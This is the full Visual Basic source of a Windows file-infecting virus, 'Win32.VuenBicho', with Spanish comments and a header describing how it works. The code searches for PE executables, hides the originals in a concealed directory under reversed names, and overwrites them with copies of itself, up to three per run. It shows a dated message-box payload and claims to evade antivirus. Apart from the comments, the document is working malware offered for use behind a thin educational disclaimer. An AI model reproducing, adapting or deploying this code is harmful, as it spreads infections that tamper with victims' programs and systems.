Sub Main() '------------------- CORTAR AQUÍ -------------------------- 'NOMBRE : Win32.VuenBicho (Prototipo) 'AUTOR : 3Sk0rbut0/GEDZAC 'LUGAR : ????????, ????? 'FECHA : ??-??-?? '---------------------------------------------------------- 'NOTA : Esto es un virus escrito en Visual Basic y debo aclarar que no me ' responsabilizo bajo ningún punto de vista por el mal uso que le ' puedas dar a este material y también debo aclarar que he escrito ' este prototipo solo con fines educativos. ' Este virus es solo un prototipo y no tiene grandes posibilidades ' de propagación pero esto no quita que sea un espécimen peligroso ' para quien no sabe lo que hace. ' A Continuación veremos su modo de funcionamiento. ' 'FUNCIONAMIENTO: 'Para que este virus funcione con éxito deberá realizar los siguientes pasos 'los cuales especifico de un modo generalizado: '- Crear un directorio para almacenar los programas originales. '- Obtener la ruta y el nombre de este programa '- Verificar si estamos en un directorio raíz porque si es así aprovecharemos ' de infectar algunos entes del directorio c:\windows\ '- Búsqueda del primer archivo con extensión EXE. ' ARCHIVO_ENCONTRADO: '- Abrir el archivo para comprobar si es un archivo de win32, específicamente ' un Portable ejecutable (PE). '- Comprobar si está ya suplantado mediante su tamaño '- Suplantación del/los archivos encontrados: ' * Mover el archivo original al directorio creado para almacenar los ' programas originales. ' * Autocopiar este programa en lugar del archivo original con su nombre. ' * Incrementar un contador de infecciones (INFECTAREMOS NADA MAS 3 ' EJECUTABLES POR EJECUCION) '- Búsqueda del siguiente archivo con extensión EXE. (Si se encuentran mas ' archivos saltar a ARCHIVO_ENCONTRADO). '- Ejecutar el programa original. ' 'PAYLOAD: 'El payload es bastante simple, consiste en una MessageBox que se mostrará 'los días 21 de cada mes al ejecutar un programa infectado (En este caso 'Suplantado). ' 'OBSERVACION: ' Como consecuencia de la suplantación de un archivo exe cualquiera, este ' se vera carente de su icono original con lo cual los astutos sospecharan ' y los lerdos cooperarán. ' y...... ¿porque los archivos suplantados perderán su icono? ' La respuesta es mas que lógica ¿no? al ser copias de este mismo programa ' las utilizadas para...... bla bla bla ' ...... bueh esta de mas explicar esto, ;). ' ' COMENTARIOS ADICIONALES: ' A este virus le he incorporado un mecanismo para invertir el nombre de los ' archivos originales cuando son copiados en el directorio destinado para su ' almacenamiento, esto lo he hecho con el fin de impedir que por ejemplo, ' cuando el usuario inicie una búsqueda de archivos ejecutables en su HD, se ' tope con dos de ellos que tengan el mismo nombre pero distinta extensión. ' A demás de invertir el nombre de los archivos me preocupé de ocultar el ' directorio donde se copiaran los archivos originales y también los archivos ' originales, todo esto con el fin de que este prototipo pase en lo posible ' inadvertido ante los ojos del usuario, aunque lo del icono nos jode un ' poquito, pero bueno, asi es la vida. ' Está demás decir que este espécimen no es detectado por ningún antivirus ' (POR AHORA) ' ' ATENCION : ¡¡¡¡ SI VAS A MANIPULAR ESTE ESPECIMEN SE LO MAS CUIDADOSO ' POSIBLE !!!! YO NO ME RESPONSABILIZO BAJO NINGUN PUNTO DE VISTA POR LOS ' EFECTOS QUE ESTE PUEDA TENER EN TU MAQUINA, ADEMAS, EL CODIGO ESTA ' BASTANTE COMENTADO PARA COMPRENDERLO. ' TRATÉ DE COMENTAR EL CODIGO LO MAS DETALLADAMENTE POSIBLE Y ESPERO QUE ' LO ENTIENDAN Y QUE LO DISFRUTEN ' ARRIBA EL VIRII KARAJO! ' (c) 3Sk0rbut0 '--------------------- CORTAR AQUÍ ------------------------------ '******************************** '**** Win32.VuenBicho **** '******************************** '---------------------- Definicion de constantes/variables Dim Archivo As String Dim Exten As String Dim ArchDir As String Dim MiDirectorio As String Dim MiNombre As String Dim Yo As String Dim Registro As String Dim Contenido As String Dim InfecCont As Integer Dim Caracter As String Dim ArchEnt As String Dim ArchSal As String Dim j As Integer Dim k As Integer Dim h As Integer Dim x As Integer Dim p As Integer Dim sw As Integer '------------ Crear directorio para almacenar los archivos originales ArchDir = "c:\windows\system\klt0s5k\" ' El directorio para almacenar los archivos originales On Error Resume Next ' Si el directorio ya existe MkDir dará un error por lo cual saltamos a la siguiente linea de código MkDir (ArchDir) ' Creamos el directorio '---------------------- ' Ocultar el directorio SetAttr (ArchDir), vbHidden ' Ocultar '---------------------- Obtener la ruta y el nombre de este programa MiDirectorio = App.Path & "\" ' MiDirectorio = Directorio actual de este programa MiNombre = App.EXEName & ".exe" ' MiNombre = Nombre de este programa Yo = MiDirectorio & MiNombre ' Yo = MiDirectorio + MiNombre '---------------------- If Right(MiDirectorio, 2) = "\\" Then 'Estamos en un directorio raiz?,(A:\,B:\,C:\ y tal) si es así infectemos c:\windows\ Yo = Left(Yo, 2) & "\" & MiNombre ' Quitar un \ para que sea una ruta válida ChDir$ "c:\windows\" ' cambiar el directorio actual a c:\windows\ para ejecutarnos ahí FileCopy Yo, "c:\windows\kpXz4oX.exe" ' Copiarnos a c:\windows Shell "c:\windows\kpXz4oX.exe" ' Ejecutar la copia hecha en la linea anterior For h = 1 To 1000 ' Generar un retardo para darle tiempo de actuar a la copia antes de ser eliminada DoEvents ' Next h ' Kill "c:\windows\kpXz4oX.exe" ' Eliminar la copia hecha para infectar c:\windows\ GoTo PayLoad ' Ir al PayLoad (CARGA) End If '---------------------- Exten = "*.exe" ' Extencion de archivos a buscar Archivo = Dir$(Exten) '---------------------- FindFirstFile While Archivo <> "" If Archivo = MiNombre Then GoTo Siguiente '--------------------- Abrir el archivo para verificar si es un exe de windows Open Archivo For Input As #1 ' Abrir el archivo para R While Not EOF(1) = True ' Fin de archivo? Line Input #1, Registro ' Leemos el Registro Contenido = Contenido + Registro ' Lo acumulamos Wend Close #1 ' Cerramos el archivo '--------------------- Verificaciones For j = 1 To Len(Contenido) If Mid(Contenido, j, 2) = "MZ" Then ' Es un exe? For k = 1 To (Len(Contenido) - 2) If Mid(Contenido, k, 2) = "PE" Then ' Es un PE ? OJO : Este no es el mejor modo de hacer esto If FileLen(Archivo) = 24576 Then GoTo Siguiente ' ¿Nos estamos infectando nosotros mismos? entonces vamos por otro archivo '--------------------- SUPLANTACION sw = 1 ' Prendemos el switch GoSub Invertir 'Llamar a la rutina para invertir el nombre del archivo de destino '--------------------- MECANISMO SUPLANTADOR FileCopy Archivo, ArchDir & ArchSal & ".kjx" ' Copiar archivo original al directorio con extencion kjx SetAttr ArchDir & ArchSal & ".kjx", vbHidden ' Ocultar la copia Kill Archivo ' Eliminar el archivo original FileCopy Yo, Archivo ' Copiarme en lugar del archivo original j = 0 ' Limpiar Contadores k = 0 ' '--------------------- Limpiar las variables de la rutina que invierten en el nombre del archivo de destino Caracter = "" ArchSal = "" p = 0 '--------------------- InfecCont = InfecCont + 1 ' Incrementar el contador de infecciones If InfecCont = 3 Then GoTo PayLoad ' Llevamos 3 archivos suplantados?, si es así vamos al PayLoad GoTo Siguiente ' Ir a buscar siguiente archivo '--------------------- End If Next k Else If Mid(Contenido, j, 5) = ".text" Then ' Por paranoia, si llegamos hasta aqui no vale la pena seguir =P GoTo Siguiente ' Ir a buscar el siguiente archivo End If End If Next j '---------------------- FindNextFile Siguiente: Archivo = Dir$ Wend '---------------------- CARGA DE ESTE VIRUS (TextBox) PayLoad: If Day(Now) = "21" Then ' Bueh, si hoy es 21 entonces mostrar mensajito MsgBox "Codificado por 3sk0rbut0/GEDZAC (S/C) ", vbCritical, "Win32.VuenBicho" End If '---------------------- DEVOLVERLE EL CONTROL AL PROGRAMA ORIGINAL On Error GoTo Terminar ' Si hay error al ejecutar el exe original entonces terminamos sw = 0 ' Apagamos el switch GoSub Invertir 'Llamar a la rutina para invertir el nombre del archivo de destino ya que en la carpeta se encuentra ivertido Shell ArchDir & ArchSal & ".kjx", vbNormalFocus ' Ejecutar el archivo original '---------------------- Por si el archivo original no está o se le ha cambiado el nombre, entonces terminamos Terminar: End '@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ RUTINA INVERSORA DE NOMBRES DE ARCHIVO Invertir: If sw = 1 Then ArchEnt = Mid(Archivo, 1, (Len(Archivo) - 4)) ' Aqui está de más explicar If sw = 0 Then ArchEnt = Mid(MiNombre, 1, (Len(MiNombre) - 4)) ' For p = 1 To Len(ArchEnt) Caracter = Mid(ArchEnt, Len(ArchEnt) - p + 1, 1) ArchSal = ArchSal & Caracter Next p Return '@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ End Sub